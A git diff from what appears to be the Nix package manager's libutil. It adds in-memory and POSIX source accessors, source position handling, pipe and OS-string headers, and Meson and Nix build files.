r.contents.size(), + .isExecutable = r.executable, + }; + }, + [](const Directory &) { + return Stat { + .type = tDirectory, + }; + }, + [](const Symlink &) { + return Stat { + .type = tSymlink, + }; + }, + }, this->raw); +} + +std::optional +MemorySourceAccessor::maybeLstat(const CanonPath & path) +{ + const auto * f = open(path, std::nullopt); + return f ? std::optional { f->lstat() } : std::nullopt; +} + +MemorySourceAccessor::DirEntries MemorySourceAccessor::readDirectory(const CanonPath & path) +{ + auto * f = open(path, std::nullopt); + if (!f) + throw Error("file '%s' does not exist", path); + if (auto * d = std::get_if(&f->raw)) { + DirEntries res; + for (auto & [name, file] : d->contents) + res.insert_or_assign(name, file.lstat().type); + return res; + } else + throw Error("file '%s' is not a directory", path); + return {}; +} + +std::string MemorySourceAccessor::readLink(const CanonPath & path) +{ + auto * f = open(path, std::nullopt); + if (!f) + throw Error("file '%s' does not exist", path); + if (auto * s = std::get_if(&f->raw)) + return s->target; + else + throw Error("file '%s' is not a symbolic link", path); +} + +SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents) +{ + auto * f = open(path, File { File::Regular {} }); + if (!f) + throw Error("file '%s' cannot be made because some parent file is not a directory", path); + if (auto * r = std::get_if(&f->raw)) + r->contents = std::move(contents); + else + throw Error("file '%s' is not a regular file", path); + + return SourcePath{ref(shared_from_this()), path}; +} + + +using File = MemorySourceAccessor::File; + +void MemorySink::createDirectory(const CanonPath & path) +{ + auto * f = dst.open(path, File { File::Directory { } }); + if (!f) + throw Error("file '%s' cannot be made because some parent file is not a directory", path); + + if (!std::holds_alternative(f->raw)) + throw Error("file '%s' is not a directory", path); +}; + +struct CreateMemoryRegularFile : CreateRegularFileSink { + File::Regular & regularFile; + + CreateMemoryRegularFile(File::Regular & r) + : regularFile(r) + { } + + void operator () (std::string_view data) override; + void isExecutable() override; + void preallocateContents(uint64_t size) override; +}; + +void MemorySink::createRegularFile(const CanonPath & path, std::function func) +{ + auto * f = dst.open(path, File { File::Regular {} }); + if (!f) + throw Error("file '%s' cannot be made because some parent file is not a directory", path); + if (auto * rp = std::get_if(&f->raw)) { + CreateMemoryRegularFile crf { *rp }; + func(crf); + } else + throw Error("file '%s' is not a regular file", path); +} + +void CreateMemoryRegularFile::isExecutable() +{ + regularFile.executable = true; +} + +void CreateMemoryRegularFile::preallocateContents(uint64_t len) +{ + regularFile.contents.reserve(len); +} + +void CreateMemoryRegularFile::operator () (std::string_view data) +{ + regularFile.contents += data; +} + +void MemorySink::createSymlink(const CanonPath & path, const std::string & target) +{ + auto * f = dst.open(path, File { File::Symlink { } }); + if (!f) + throw Error("file '%s' cannot be made because some parent file is not a directory", path); + if (auto * s = std::get_if(&f->raw)) + s->target = target; + else + throw Error("file '%s' is not a symbolic link", path); +} + +ref makeEmptySourceAccessor() +{ + static auto empty = make_ref().cast(); + return empty; +} + +} diff --git a/src/libutil/memory-source-accessor.hh b/src/libutil/memory-source-accessor.hh new file mode 100644 index 000000000..012a388c0 --- /dev/null +++ b/src/libutil/memory-source-accessor.hh @@ -0,0 +1,115 @@ +#include "source-path.hh" +#include "fs-sink.hh" +#include "variant-wrapper.hh" + +namespace nix { + +/** + * An source accessor for an in-memory file system. + */ +struct MemorySourceAccessor : virtual SourceAccessor +{ + /** + * In addition to being part of the implementation of + * `MemorySourceAccessor`, this has a side benefit of nicely + * defining what a "file system object" is in Nix. + */ + struct File { + bool operator == (const File &) const noexcept; + std::strong_ordering operator <=> (const File &) const noexcept; + + struct Regular { + bool executable = false; + std::string contents; + + bool operator == (const Regular &) const = default; + auto operator <=> (const Regular &) const = default; + }; + + struct Directory { + using Name = std::string; + + std::map> contents; + + bool operator == (const Directory &) const noexcept; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + bool operator < (const Directory &) const noexcept; + }; + + struct Symlink { + std::string target; + + bool operator == (const Symlink &) const = default; + auto operator <=> (const Symlink &) const = default; + }; + + using Raw = std::variant; + Raw raw; + + MAKE_WRAPPER_CONSTRUCTOR(File); + + Stat lstat() const; + }; + + File root { File::Directory {} }; + + bool operator == (const MemorySourceAccessor &) const noexcept = default; + bool operator < (const MemorySourceAccessor & other) const noexcept { + return root < other.root; + } + + std::string readFile(const CanonPath & path) override; + bool pathExists(const CanonPath & path) override; + std::optional maybeLstat(const CanonPath & path) override; + DirEntries readDirectory(const CanonPath & path) override; + std::string readLink(const CanonPath & path) override; + + /** + * @param create If present, create this file and any parent directories + * that are needed. + * + * Return null if + * + * - `create = false`: File does not exist. + * + * - `create = true`: some parent file was not a dir, so couldn't + * look/create inside. + */ + File * open(const CanonPath & path, std::optional create); + + SourcePath addFile(CanonPath path, std::string && contents); +}; + + +inline bool MemorySourceAccessor::File::Directory::operator == ( + const MemorySourceAccessor::File::Directory &) const noexcept = default; +inline bool MemorySourceAccessor::File::Directory::operator < ( + const MemorySourceAccessor::File::Directory & other) const noexcept +{ + return contents < other.contents; +} + +inline bool MemorySourceAccessor::File::operator == ( + const MemorySourceAccessor::File &) const noexcept = default; +inline std::strong_ordering MemorySourceAccessor::File::operator <=> ( + const MemorySourceAccessor::File &) const noexcept = default; + +/** + * Write to a `MemorySourceAccessor` at the given path + */ +struct MemorySink : FileSystemObjectSink +{ + MemorySourceAccessor & dst; + + MemorySink(MemorySourceAccessor & dst) : dst(dst) { } + + void createDirectory(const CanonPath & path) override; + + void createRegularFile( + const CanonPath & path, + std::function) override; + + void createSymlink(const CanonPath & path, const std::string & target) override; +}; + +} diff --git a/src/libutil/meson.build b/src/libutil/meson.build new file mode 100644 index 000000000..200eeb4e9 --- /dev/null +++ b/src/libutil/meson.build @@ -0,0 +1,274 @@ +project('nix-util', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +# Check for each of these functions, and create a define like `#define +# HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1 +# for found. One therefore uses it with `#if` not `#ifdef`. +check_funcs = [ + # Optionally used for changing the mtime of symlinks. + 'lutimes', + # Optionally used for creating pipes on Unix + 'pipe2', + # Optionally used to preallocate files to be large enough before + # writing to them. + 'posix_fallocate', + # Optionally used to get more information about processes failing due + # to a signal on Unix. + 'strsignal', + # Optionally used to try to close more file descriptors (e.g. before + # forking) on Unix. + 'sysconf', +] +foreach funcspec : check_funcs + define_name = 'HAVE_' + funcspec.underscorify().to_upper() + define_value = cxx.has_function(funcspec).to_int() + configdata.set(define_name, define_value) +endforeach + +subdir('build-utils-meson/threads') + +if host_machine.system() == 'windows' + socket = cxx.find_library('ws2_32') + deps_other += socket +elif host_machine.system() == 'sunos' + socket = cxx.find_library('socket') + network_service_library = cxx.find_library('nsl') + deps_other += [socket, network_service_library] +endif + +boost = dependency( + 'boost', + modules : ['context', 'coroutine'], + include_type: 'system', +) +# boost is a public dependency, but not a pkg-config dependency unfortunately, so we +# put in `deps_other`. +deps_other += boost + +openssl = dependency( + 'libcrypto', + 'openssl', + version : '>= 1.1.1', +) +deps_private += openssl + +libarchive = dependency('libarchive', version : '>= 3.1.2') +deps_public += libarchive +if get_option('default_library') == 'static' + # Workaround until https://github.com/libarchive/libarchive/issues/1446 is fixed + add_project_arguments('-lz', language : 'cpp') +endif + +sodium = dependency('libsodium', 'sodium') +deps_private += sodium + +brotli = [ + dependency('libbrotlicommon'), + dependency('libbrotlidec'), + dependency('libbrotlienc'), +] +deps_private += brotli + +cpuid_required = get_option('cpuid') +if host_machine.cpu_family() != 'x86_64' and cpuid_required.enabled() + warning('Force-enabling seccomp on non-x86_64 does not make sense') +endif +cpuid = dependency('libcpuid', 'cpuid', required : cpuid_required) +configdata.set('HAVE_LIBCPUID', cpuid.found().to_int()) +deps_private += cpuid + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +config_h = configure_file( + configuration : configdata, + output : 'config-util.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'archive.cc', + 'args.cc', + 'canon-path.cc', + 'compression.cc', + 'compute-levels.cc', + 'config.cc', + 'config-global.cc', + 'current-process.cc', + 'english.cc', + 'environment-variables.cc', + 'error.cc', + 'executable-path.cc', + 'exit.cc', + 'experimental-features.cc', + 'file-content-address.cc', + 'file-descriptor.cc', + 'file-system.cc', + 'fs-sink.cc', + 'git.cc', + 'hash.cc', + 'hilite.cc', + 'json-utils.cc', + 'logging.cc', + 'memory-source-accessor.cc', + 'position.cc', + 'posix-source-accessor.cc', + 'references.cc', + 'serialise.cc', + 'signature/local-keys.cc', + 'signature/signer.cc', + 'source-accessor.cc', + 'source-path.cc', + 'strings.cc', + 'suggestions.cc', + 'tarfile.cc', + 'terminal.cc', + 'thread-pool.cc', + 'unix-domain-socket.cc', + 'url.cc', + 'users.cc', + 'util.cc', + 'xml-writer.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'abstract-setting-to-json.hh', + 'ansicolor.hh', + 'archive.hh', + 'args.hh', + 'args/root.hh', + 'callback.hh', + 'canon-path.hh', + 'checked-arithmetic.hh', + 'chunked-vector.hh', + 'closure.hh', + 'comparator.hh', + 'compression.hh', + 'compute-levels.hh', + 'config-global.hh', + 'config-impl.hh', + 'config.hh', + 'current-process.hh', + 'english.hh', + 'environment-variables.hh', + 'error.hh', + 'executable-path.hh', + 'exit.hh', + 'experimental-features.hh', + 'file-content-address.hh', + 'file-descriptor.hh', + 'file-path-impl.hh', + 'file-path.hh', + 'file-system.hh', + 'finally.hh', + 'fmt.hh', + 'fs-sink.hh', + 'git.hh', + 'hash.hh', + 'hilite.hh', + 'json-impls.hh', + 'json-utils.hh', + 'logging.hh', + 'lru-cache.hh', + 'memory-source-accessor.hh', + 'muxable-pipe.hh', + 'os-string.hh', + 'pool.hh', + 'position.hh', + 'posix-source-accessor.hh', + 'processes.hh', + 'ref.hh', + 'references.hh', + 'regex-combinators.hh', + 'repair-flag.hh', + 'serialise.hh', + 'signals.hh', + 'signature/local-keys.hh', + 'signature/signer.hh', + 'source-accessor.hh', + 'source-path.hh', + 'split.hh', + 'std-hash.hh', + 'strings.hh', + 'strings-inline.hh', + 'suggestions.hh', + 'sync.hh', + 'tarfile.hh', + 'terminal.hh', + 'thread-pool.hh', + 'topo-sort.hh', + 'types.hh', + 'unix-domain-socket.hh', + 'url-parts.hh', + 'url.hh', + 'users.hh', + 'util.hh', + 'variant-wrapper.hh', + 'xml-writer.hh', +) + +if host_machine.system() == 'linux' + subdir('linux') +endif + +if host_machine.system() == 'windows' + subdir('windows') +else + subdir('unix') +endif + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixutil', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] +if host_machine.system() == 'windows' + # `libraries_private` cannot contain ad-hoc dependencies (from + # `find_library), so we need to do this manually + libraries_private += ['-lws2_32'] +endif + +subdir('build-utils-meson/export') diff --git a/src/libutil/meson.options b/src/libutil/meson.options new file mode 100644 index 000000000..21883af01 --- /dev/null +++ b/src/libutil/meson.options @@ -0,0 +1,5 @@ +# vim: filetype=meson + +option('cpuid', type : 'feature', + description : 'determine microarchitecture levels with libcpuid (only relevant on x86_64)', +) diff --git a/src/libutil/monitor-fd.hh b/src/libutil/monitor-fd.hh deleted file mode 100644 index 5ee0b88ef..000000000 --- a/src/libutil/monitor-fd.hh +++ /dev/null @@ -1,58 +0,0 @@ -#pragma once - -#include -#include - -#include -#include -#include -#include -#include - -namespace nix { - - -class MonitorFdHup -{ -private: - std::thread thread; - -public: - MonitorFdHup(int fd) - { - thread = std::thread([fd]() { - while (true) { - /* Wait indefinitely until a POLLHUP occurs. */ - struct pollfd fds[1]; - fds[0].fd = fd; - /* This shouldn't be necessary, but macOS doesn't seem to - like a zeroed out events field. - See rdar://37537852. - */ - fds[0].events = POLLHUP; - auto count = poll(fds, 1, -1); - if (count == -1) abort(); // can't happen - /* This shouldn't happen, but can on macOS due to a bug. - See rdar://37550628. - - This may eventually need a delay or further - coordination with the main thread if spinning proves - too harmful. - */ - if (count == 0) continue; - assert(fds[0].revents & POLLHUP); - triggerInterrupt(); - break; - } - }); - }; - - ~MonitorFdHup() - { - pthread_cancel(thread.native_handle()); - thread.join(); - } -}; - - -} diff --git a/src/libutil/muxable-pipe.hh b/src/libutil/muxable-pipe.hh new file mode 100644 index 000000000..53ac39170 --- /dev/null +++ b/src/libutil/muxable-pipe.hh @@ -0,0 +1,82 @@ +#pragma once +///@file + +#include "file-descriptor.hh" +#ifdef _WIN32 +# include "windows-async-pipe.hh" +#endif + +#ifndef _WIN32 +# include +#else +# include +# include "windows-error.hh" +#endif + +namespace nix { + +/** + * An "muxable pipe" is a type of pipe supporting endpoints that wait + * for events on multiple pipes at once. + * + * On Unix, this is just a regular anonymous pipe. On Windows, this has + * to be a named pipe because we need I/O Completion Ports to wait on + * multiple pipes. + */ +using MuxablePipe = +#ifndef _WIN32 + Pipe +#else + windows::AsyncPipe +#endif + ; + +/** + * Use pool() (Unix) / I/O Completion Ports (Windows) to wait for the + * input side of any logger pipe to become `available'. Note that + * `available' (i.e., non-blocking) includes EOF. + */ +struct MuxablePipePollState +{ +#ifndef _WIN32 + std::vector pollStatus; + std::map fdToPollStatus; +#else + OVERLAPPED_ENTRY oentries[0x20] = {0}; + ULONG removed; + bool gotEOF = false; + +#endif + + /** + * Check for ready (Unix) / completed (Windows) operations + */ + void poll( +#ifdef _WIN32 + HANDLE ioport, +#endif + std::optional timeout); + + using CommChannel = +#ifndef _WIN32 + Descriptor +#else + windows::AsyncPipe * +#endif + ; + + /** + * Process for ready (Unix) / completed (Windows) operations, + * calling the callbacks as needed. + * + * @param handleRead callback to be passed read data. + * + * @param handleEOF callback for when the `MuxablePipe` has closed. + */ + void iterate( + std::set & channels, + std::function handleRead, + std::function handleEOF); +}; + +} diff --git a/src/libutil/nix-util.pc.in b/src/libutil/nix-util.pc.in new file mode 100644 index 000000000..85bb1e70e --- /dev/null +++ b/src/libutil/nix-util.pc.in @@ -0,0 +1,9 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Package Manager +Version: @PACKAGE_VERSION@ +Libs: -L${libdir} -lnixutil +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libutil/os-string.hh b/src/libutil/os-string.hh new file mode 100644 index 000000000..0d75173e5 --- /dev/null +++ b/src/libutil/os-string.hh @@ -0,0 +1,43 @@ +#pragma once +///@file + +#include +#include +#include + +namespace nix { + +/** + * Named because it is similar to the Rust type, except it is in the + * native encoding not WTF-8. + * + * Same as `std::filesystem::path::string_type`, but manually defined to + * avoid including a much more complex header. + */ +using OsString = std::basic_string< +#if defined(_WIN32) && !defined(__CYGWIN__) + wchar_t +#else + char +#endif + >; + +/** + * `std::string_view` counterpart for `OsString`. + */ +using OsStringView = std::basic_string_view; + +std::string os_string_to_string(OsStringView path); + +OsString string_to_os_string(std::string_view s); + +/** + * Create string literals with the native character width of paths + */ +#ifndef _WIN32 +# define OS_STR(s) s +#else +# define OS_STR(s) L##s +#endif + +} diff --git a/src/libutil/package.nix b/src/libutil/package.nix new file mode 100644 index 000000000..4ce1a75b0 --- /dev/null +++ b/src/libutil/package.nix @@ -0,0 +1,99 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, boost +, brotli +, libarchive +, libcpuid +, libsodium +, nlohmann_json +, openssl + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-util"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + ./linux/meson.build + ./unix/meson.build + ./windows/meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + brotli + libsodium + openssl + ] ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid + ; + + propagatedBuildInputs = [ + boost + libarchive + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + # + # TODO: change release process to add `pre` in `.version`, remove it + # before tagging, and restore after. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + (lib.mesonEnable "cpuid" stdenv.hostPlatform.isx86_64) + ]; + + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib boost}/lib"; + } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libutil/pool.hh b/src/libutil/pool.hh index d49067bb9..6247b6125 100644 --- a/src/libutil/pool.hh +++ b/src/libutil/pool.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -11,33 +12,37 @@ namespace nix { -/* This template class implements a simple pool manager of resources - of some type R, such as database connections. It is used as - follows: - - class Connection { ... }; - - Pool pool; - - { - auto conn(pool.get()); - conn->exec("select ..."); - } - - Here, the Connection object referenced by ‘conn’ is automatically - returned to the pool when ‘conn’ goes out of scope. -*/ - +/** + * This template class implements a simple pool manager of resources + * of some type R, such as database connections. It is used as + * follows: + * + * class Connection { ... }; + * + * Pool pool; + * + * { + * auto conn(pool.get()); + * conn->exec("select ..."); + * } + * + * Here, the Connection object referenced by ‘conn’ is automatically + * returned to the pool when ‘conn’ goes out of scope. + */ template class Pool { public: - /* A function that produces new instances of R on demand. */ + /** + * A function that produces new instances of R on demand. + */ typedef std::function()> Factory; - /* A function that checks whether an instance of R is still - usable. Unusable instances are removed from the pool. */ + /** + * A function that checks whether an instance of R is still + * usable. Unusable instances are removed from the pool. + */ typedef std::function &)> Validator; private: diff --git a/src/libutil/position.cc b/src/libutil/position.cc new file mode 100644 index 000000000..5a2529262 --- /dev/null +++ b/src/libutil/position.cc @@ -0,0 +1,159 @@ +#include "position.hh" + +namespace nix { + +Pos::Pos(const Pos * other) +{ + if (!other) { + return; + } + line = other->line; + column = other->column; + origin = std::move(other->origin); +} + +Pos::operator std::shared_ptr() const +{ + return std::make_shared(&*this); +} + +std::optional Pos::getCodeLines() const +{ + if (line == 0) + return std::nullopt; + + if (auto source = getSource()) { + LinesIterator lines(*source), end; + LinesOfCode loc; + + if (line > 1) + std::advance(lines, line - 2); + if (lines != end && line > 1) + loc.prevLineOfCode = *lines++; + if (lines != end) + loc.errLineOfCode = *lines++; + if (lines != end) + loc.nextLineOfCode = *lines++; + + return loc; + } + + return std::nullopt; +} + + +std::optional Pos::getSource() const +{ + return std::visit(overloaded { + [](const std::monostate &) -> std::optional { + return std::nullopt; + }, + [](const Pos::Stdin & s) -> std::optional { + // Get rid of the null terminators added by the parser. + return std::string(s.source->c_str()); + }, + [](const Pos::String & s) -> std::optional { + // Get rid of the null terminators added by the parser. + return std::string(s.source->c_str()); + }, + [](const SourcePath & path) -> std::optional { + try { + return path.readFile(); + } catch (Error &) { + return std::nullopt; + } + } + }, origin); +} + +void Pos::print(std::ostream & out, bool showOrigin) const +{ + if (showOrigin) { + std::visit(overloaded { + [&](const std::monostate &) { out << "«none»"; }, + [&](const Pos::Stdin &) { out << "«stdin»"; }, + [&](const Pos::String & s) { out << "«string»"; }, + [&](const SourcePath & path) { out << path; } + }, origin); + out << ":"; + } + out << line; + if (column > 0) + out << ":" << column; +} + +std::ostream & operator<<(std::ostream & str, const Pos & pos) +{ + pos.print(str, true); + return str; +} + +void Pos::LinesIterator::bump(bool atFirst) +{ + if (!atFirst) { + pastEnd = input.empty(); + if (!input.empty() && input[0] == '\r') + input.remove_prefix(1); + if (!input.empty() && input[0] == '\n') + input.remove_prefix(1); + } + + // nix line endings are not only \n as eg std::getline assumes, but also + // \r\n **and \r alone**. not treating them all the same causes error + // reports to not match with line numbers as the parser expects them. + auto eol = input.find_first_of("\r\n"); + + if (eol > input.size()) + eol = input.size(); + + curLine = input.substr(0, eol); + input.remove_prefix(eol); +} + +std::optional Pos::getSnippetUpTo(const Pos & end) const { + assert(this->origin == end.origin); + + if (end.line < this->line) + return std::nullopt; + + if (auto source = getSource()) { + + auto firstLine = LinesIterator(*source); + for (uint32_t i = 1; i < this->line; ++i) { + ++firstLine; + } + + auto lastLine = LinesIterator(*source); + for (uint32_t i = 1; i < end.line; ++i) { + ++lastLine; + } + + LinesIterator linesEnd; + + std::string result; + for (auto i = firstLine; i != linesEnd; ++i) { + auto firstColumn = i == firstLine ? (this->column ? this->column - 1 : 0) : 0; + if (firstColumn > i->size()) + firstColumn = i->size(); + + auto lastColumn = i == lastLine ? (end.column ? end.column - 1 : 0) : std::numeric_limits::max(); + if (lastColumn < firstColumn) + lastColumn = firstColumn; + if (lastColumn > i->size()) + lastColumn = i->size(); + + result += i->substr(firstColumn, lastColumn - firstColumn); + + if (i == lastLine) { + break; + } else { + result += '\n'; + } + } + return result; + } + return std::nullopt; +} + + +} diff --git a/src/libutil/position.hh b/src/libutil/position.hh new file mode 100644 index 000000000..25217069c --- /dev/null +++ b/src/libutil/position.hh @@ -0,0 +1,121 @@ +#pragma once +/** + * @file + * + * @brief Pos and AbstractPos + */ + +#include +#include +#include + +#include "source-path.hh" + +namespace nix { + +/** + * A position and an origin for that position (like a source file). + */ +struct Pos +{ + uint32_t line = 0; + uint32_t column = 0; + + struct Stdin { + ref source; + bool operator==(const Stdin & rhs) const noexcept + { return *source == *rhs.source; } + std::strong_ordering operator<=>(const Stdin & rhs) const noexcept + { return *source <=> *rhs.source; } + }; + struct String { + ref source; + bool operator==(const String & rhs) const noexcept + { return *source == *rhs.source; } + std::strong_ordering operator<=>(const String & rhs) const noexcept + { return *source <=> *rhs.source; } + }; + + typedef std::variant Origin; + + Origin origin = std::monostate(); + + Pos() { } + Pos(uint32_t line, uint32_t column, Origin origin) + : line(line), column(column), origin(origin) { } + Pos(Pos & other) = default; + Pos(const Pos & other) = default; + Pos(Pos && other) = default; + Pos(const Pos * other); + + explicit operator bool() const { return line > 0; } + + operator std::shared_ptr() const; + + /** + * Return the contents of the source file. + */ + std::optional getSource() const; + + void print(std::ostream & out, bool showOrigin) const; + + std::optional getCodeLines() const; + + bool operator==(const Pos & rhs) const = default; + auto operator<=>(const Pos & rhs) const = default; + + std::optional getSnippetUpTo(const Pos & end) const; + + /** + * Get the SourcePath, if the source was loaded from a file. + */ + std::optional getSourcePath() const { + return *std::get_if(&origin); + } + + struct LinesIterator { + using difference_type = size_t; + using value_type = std::string_view; + using reference = const std::string_view &; + using pointer = const std::string_view *; + using iterator_category = std::input_iterator_tag; + + LinesIterator(): pastEnd(true) {} + explicit LinesIterator(std::string_view input): input(input), pastEnd(input.empty()) { + if (!pastEnd) + bump(true); + } + + LinesIterator & operator++() { + bump(false); + return *this; + } + LinesIterator operator++(int) { + auto result = *this; + ++*this; + return result; + } + + reference operator*() const { return curLine; } + pointer operator->() const { return &curLine; } + + bool operator!=(const LinesIterator & other) const { + return !(*this == other); + } + bool operator==(const LinesIterator & other) const { + return (pastEnd && other.pastEnd) + || (std::forward_as_tuple(input.size(), input.data()) + == std::forward_as_tuple(other.input.size(), other.input.data())); + } + + private: + std::string_view input, curLine; + bool pastEnd = false; + + void bump(bool atFirst); + }; +}; + +std::ostream & operator<<(std::ostream & str, const Pos & pos); + +} diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc new file mode 100644 index 000000000..2b1a485d5 --- /dev/null +++ b/src/libutil/posix-source-accessor.cc @@ -0,0 +1,198 @@ +#include "posix-source-accessor.hh" +#include "source-path.hh" +#include "signals.hh" +#include "sync.hh" + +#include + +namespace nix { + +PosixSourceAccessor::PosixSourceAccessor(std::filesystem::path && root) + : root(std::move(root)) +{ + assert(root.empty() || root.is_absolute()); + displayPrefix = root.string(); +} + +PosixSourceAccessor::PosixSourceAccessor() + : PosixSourceAccessor(std::filesystem::path {}) +{ } + +SourcePath PosixSourceAccessor::createAtRoot(const std::filesystem::path & path) +{ + std::filesystem::path path2 = absPath(path.string()); + return { + make_ref(path2.root_path()), + CanonPath { path2.relative_path().string() }, + }; +} + +std::filesystem::path PosixSourceAccessor::makeAbsPath(const CanonPath & path) +{ + return root.empty() + ? (std::filesystem::path { path.abs() }) + : path.isRoot() + ? /* Don't append a slash for the root of the accessor, since + it can be a non-directory (e.g. in the case of `fetchTree + { type = "file" }`). */ + root + : root / path.rel(); +} + +void PosixSourceAccessor::readFile( + const CanonPath & path, + Sink & sink, + std::function sizeCallback) +{ + assertNoSymlinks(path); + + auto ap = makeAbsPath(path); + + AutoCloseFD fd = toDescriptor(open(ap.string().c_str(), O_RDONLY + #ifndef _WIN32 + | O_NOFOLLOW | O_CLOEXEC + #endif + )); + if (!fd) + throw SysError("opening file '%1%'", ap.string()); + + struct stat st; + if (fstat(fromDescriptorReadOnly(fd.get()), &st) == -1) + throw SysError("statting file"); + + sizeCallback(st.st_size); + + off_t left = st.st_size; + + std::array buf; + while (left) { + checkInterrupt(); + ssize_t rd = read(fromDescriptorReadOnly(fd.get()), buf.data(), (size_t) std::min(left, (off_t) buf.size())); + if (rd == -1) { + if (errno != EINTR) + throw SysError("reading from file '%s'", showPath(path)); + } + else if (rd == 0) + throw SysError("unexpected end-of-file reading '%s'", showPath(path)); + else { + assert(rd <= left); + sink({(char *) buf.data(), (size_t) rd}); + left -= rd; + } + } +} + +bool PosixSourceAccessor::pathExists(const CanonPath & path) +{ + if (auto parent = path.parent()) assertNoSymlinks(*parent); + return nix::pathExists(makeAbsPath(path).string()); +} + +std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) +{ + static SharedSync>> _cache; + + // Note: we convert std::filesystem::path to Path because the + // former is not hashable on libc++. + Path absPath = makeAbsPath(path).string(); + + { + auto cache(_cache.readLock()); + auto i = cache->find(absPath); + if (i != cache->end()) return i->second; + } + + auto st = nix::maybeLstat(absPath.c_str()); + + auto cache(_cache.lock()); + if (cache->size() >= 16384) cache->clear(); + cache->emplace(absPath, st); + + return st; +} + +std::optional PosixSourceAccessor::maybeLstat(const CanonPath & path) +{ + if (auto parent = path.parent()) assertNoSymlinks(*parent); + auto st = cachedLstat(path); + if (!st) return std::nullopt; + mtime = std::max(mtime, st->st_mtime); + return Stat { + .type = + S_ISREG(st->st_mode) ? tRegular : + S_ISDIR(st->st_mode) ? tDirectory : + S_ISLNK(st->st_mode) ? tSymlink : + tMisc, + .fileSize = S_ISREG(st->st_mode) ? std::optional(st->st_size) : std::nullopt, + .isExecutable = S_ISREG(st->st_mode) && st->st_mode & S_IXUSR, + }; +} + +SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & path) +{ + assertNoSymlinks(path); + DirEntries res; + for (auto & entry : std::filesystem::directory_iterator{makeAbsPath(path)}) { + checkInterrupt(); + auto type = [&]() -> std::optional { + std::filesystem::file_type nativeType; + try { + nativeType = entry.symlink_status().type(); + } catch (std::filesystem::filesystem_error & e) { + // We cannot always stat the child. (Ideally there is no + // stat because the native directory entry has the type + // already, but this isn't always the case.) + if (e.code() == std::errc::permission_denied || e.code() == std::errc::operation_not_permitted) + return std::nullopt; + else throw; + } + + // cannot exhaustively enumerate because implementation-specific + // additional file types are allowed. +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" + switch (nativeType) { + case std::filesystem::file_type::regular: return Type::tRegular; break; + case std::filesystem::file_type::symlink: return Type::tSymlink; break; + case std::filesystem::file_type::directory: return Type::tDirectory; break; + default: return tMisc; + } +#pragma GCC diagnostic pop + }(); + res.emplace(entry.path().filename().string(), type); + } + return res; +} + +std::string PosixSourceAccessor::readLink(const CanonPath & path) +{ + if (auto parent = path.parent()) assertNoSymlinks(*parent); + return nix::readLink(makeAbsPath(path).string()); +} + +std::optional PosixSourceAccessor::getPhysicalPath(const CanonPath & path) +{ + return makeAbsPath(path); +} + +void PosixSourceAccessor::assertNoSymlinks(CanonPath path) +{ + while (!path.isRoot()) { + auto st = cachedLstat(path); + if (st && S_ISLNK(st->st_mode)) + throw Error("path '%s' is a symlink", showPath(path)); + path.pop(); + } +} + +ref getFSSourceAccessor() +{ + static auto rootFS = make_ref(); + return rootFS; +} + +ref makeFSSourceAccessor(std::filesystem::path root) +{ + return make_ref(std::move(root)); +} +} diff --git a/src/libutil/posix-source-accessor.hh b/src/libutil/posix-source-accessor.hh new file mode 100644 index 000000000..40f60bb54 --- /dev/null +++ b/src/libutil/posix-source-accessor.hh @@ -0,0 +1,72 @@ +#pragma once + +#include "source-accessor.hh" + +namespace nix { + +struct SourcePath; + +/** + * A source accessor that uses the Unix filesystem. 